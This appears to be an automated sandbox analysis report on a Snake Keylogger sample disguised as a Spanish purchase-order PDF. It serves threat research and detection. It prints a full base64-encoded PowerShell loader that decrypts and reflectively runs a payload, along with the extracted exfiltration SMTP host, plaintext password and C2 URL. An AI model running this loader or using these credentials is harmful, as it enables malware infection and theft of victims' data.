Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/05/2024, 01:53

General

  • Target
    ORDEN DE COMPRA URGENTE pdf.exe
  • Size 1.1MB
  • Sample240516-cazw2sfd85
  • SHA256 0a6f0b8ace6e7a43bc35e80cee2d7769c4ef3a994b4d38cd4bf7978dfc97c7e8
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • snakekeylogger

Credentials
  • Protocol

    smtp

  • Host

    mail.gbogboro.com

  • Port

    587

  • Password

    Egoamaka@123

C2
  • https://scratchdreams.tk

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 1 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 1 IoCs
  • Detects executables packed with or use KoiVM 1 IoCs
  • Detects executables referencing many email and collaboration clients. Observed in information stealers 1 IoCs
  • Detects executables with potential process hoocking 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ORDEN DE COMPRA URGENTE pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\ORDEN DE COMPRA URGENTE pdf.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgANQAwADAAMAApAAoACgAkABIEQAQ1BDwENQQ9BD0EMARPBB8EMAQ/BDoEMAQgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJAAoBDAEMQQ7BD4EPQQgAD0AIAAnAGYAaQBsAGUALQAqAC4AcAB1AHQAaQBrACcACgAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsEIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAEgRABDUEPAQ1BD0EPQQwBE8EHwQwBD8EOgQwBCAALQBGAGkAbAB0AGUAcgAgACQAKAQwBDEEOwQ+BD0EIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxAAoACgBmAHUAbgBjAHQAaQBvAG4AIAAgBDAEQQRIBDgERARABD4EMgQwBEIETAQgAHsACgAgACAAIAAgAHAAYQByAGEAbQAgACgACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAGgQ7BE4ERwQsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkABgEPQQ4BEYEOAQwBDsEOAQ3BDgEQARDBE4ESQQ4BDkEEgQ1BDoEQgQ+BEAELAAKACAAIAAgACAAIAAgACAAIABbAGIAeQB0AGUAWwBdAF0AJAAUBDAEPQQ9BEsENQQKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkACgEOAREBEAEMARCBD4EQAQgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAgACAAIAAgACQAKAQ4BEQEQAQwBEIEPgRABC4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkACgEOAREBEAEMARCBD4EQAQuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKAAoAIAAgACAAIAAkACAEMARBBEgEOAREBEAEPgQyBEkEOAQ6BCAAPQAgACQAKAQ4BEQEQAQwBEIEPgRABC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAAkABoEOwROBEcELAAgACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQpAAoAIAAgACAAIAAkACAEMARBBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQUBDAEPQQ9BEsENQQgAD0AIAAkACAEMARBBEgEOAREBEAEPgQyBEkEOAQ6BC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAFAQwBD0EPQRLBDUELAAgADAALAAgACQAFAQwBD0EPQRLBDUELgBMAGUAbgBnAHQAaAApAAoACQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkACAEMARBBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQUBDAEPQQ9BEsENQQKAH0ACgAKACQAGgQ7BE4ERwQgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAwADAALAAgADAAeAA4ADMALAAgADAAeABFADUALAAgADAAeABFADgALAAgADAAeAA0ADcALAAgADAAeAA5ADMALAAgADAAeAAyADgALAAgADAAeAAzAEMALAAgADAAeABFAEIALAAgADAAeABEAEIALAAgADAAeAA4AEEALAAgADAAeAA2ADAALAAgADAAeABGADAALAAgADAAeABCADgALAAgADAAeAA5AEUALAAgADAAeAA3ADEALAAgADAAeAA2ADMALAAgADAAeABCADUALAAgADAAeAA5ADUALAAgADAAeAA4AEYALAAgADAAeABFADAALAAgADAAeABFAEIALAAgADAAeABBADEALAAgADAAeAA5ADAALAAgADAAeAA3AEYALAAgADAAeABBADAALAAgADAAeABFAEEALAAgADAAeAA1AEIALAAgADAAeAAyAEYALAAgADAAeAA0AEEALAAgADAAeAA2ADYALAAgADAAeAA5ADIAKQAKACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeABGADIALAAgADAAeAAzAEUALAAgADAAeABDADIALAAgADAAeAA4ADYALAAgADAAeABCAEUALAAgADAAeAAwADQALAAgADAAeABEADIALAAgADAAeAA2ADEALAAgADAAeAAxADQALAAgADAAeAA0ADIALAAgADAAeAA4ADIALAAgADAAeAAyAEYALAAgADAAeAAwADEALAAgADAAeAAwADkALAAgADAAeAAzADEALAAgADAAeAAyAEUAKQAKAAoAaQBmACAAKAAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsEIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAKACAAIAAgACAAJAAfBEMEQgRMBCQEMAQ5BDsEMAQgAD0AIAAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsELgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAFwQwBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQRBDAEOQRCBEsEIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAB8EQwRCBEwEJAQwBDkEOwQwBCkAOwAKACAAIAAgACAAJAAgBDAEQQRIBDgERARABD4EMgQwBD0EPQQ+BDUEIQQ+BDQENQRABDYEOAQ8BD4ENQQgAD0AIAAgBDAEQQRIBDgERARABD4EMgQwBEIETAQgAC0AGgQ7BE4ERwQgACQAGgQ7BE4ERwQgAC0AGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgAC0AFAQwBD0EPQRLBDUEIAAkABcEMARIBDgERARABD4EMgQwBD0EPQRLBDUEEQQwBDkEQgRLBAoACgAgACAAIAAgACQAIQQxBD4EQAQ6BDAEIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAFsAYgB5AHQAZQBbAF0AXQBAACgAJAAgBDAEQQRIBDgERARABD4EMgQwBD0EPQQ+BDUEIQQ+BDQENQRABDYEOAQ8BD4ENQQpACkAOwAKACAAIAAgACAAJAAiBD4ERwQ6BDAEEgRFBD4ENAQwBCAAPQAgACQAIQQxBD4EQAQ6BDAELgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQAIgQ+BEcEOgQwBBIERQQ+BDQEMAQuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQA7AAoAfQAKAA==
      2⤵
      • Suspicious use of SetThreadContext
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3696
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:4080
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
        3⤵
          PID:3664

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_jhapbfpq.p14.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jhapbfpq.p14.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          file-29122.putik

          • Path C:\Users\Admin\AppData\Local\Temp\file-29122.putik
          • Size 20KB
          • SHA256 9652d095e72771a5096ac01efd43faf8383fca0417d3303e016f3af6b825b3ad
          • MD5 SHA1 SHA512 SSDEEP

          memory/3696-1-0x00007FF89DDC3000-0x00007FF89DDC5000-memory.dmp

          memory/3696-2-0x000001A36D570000-0x000001A36D592000-memory.dmp

          memory/3696-12-0x00007FF89DDC0000-0x00007FF89E881000-memory.dmp

          memory/3696-13-0x00007FF89DDC0000-0x00007FF89E881000-memory.dmp

          memory/3696-15-0x000001A36CC30000-0x000001A36CC3A000-memory.dmp

          memory/3696-16-0x000001A36DA90000-0x000001A36DB0A000-memory.dmp

          memory/3696-22-0x00007FF89DDC0000-0x00007FF89E881000-memory.dmp

          memory/4080-19-0x0000000005580000-0x0000000005B24000-memory.dmp

          memory/4080-18-0x00000000746FE000-0x00000000746FF000-memory.dmp

          memory/4080-20-0x0000000004FD0000-0x000000000506C000-memory.dmp

          memory/4080-21-0x00000000746F0000-0x0000000074EA0000-memory.dmp

          memory/4080-17-0x0000000000400000-0x0000000000426000-memory.dmp

          memory/4080-23-0x00000000746FE000-0x00000000746FF000-memory.dmp

          memory/4080-24-0x00000000746F0000-0x0000000074EA0000-memory.dmp

          memory/4080-25-0x0000000006180000-0x00000000061D0000-memory.dmp

          memory/4080-26-0x00000000063A0000-0x0000000006562000-memory.dmp

          memory/4080-27-0x0000000006270000-0x0000000006302000-memory.dmp

          memory/4080-28-0x0000000006200000-0x000000000620A000-memory.dmp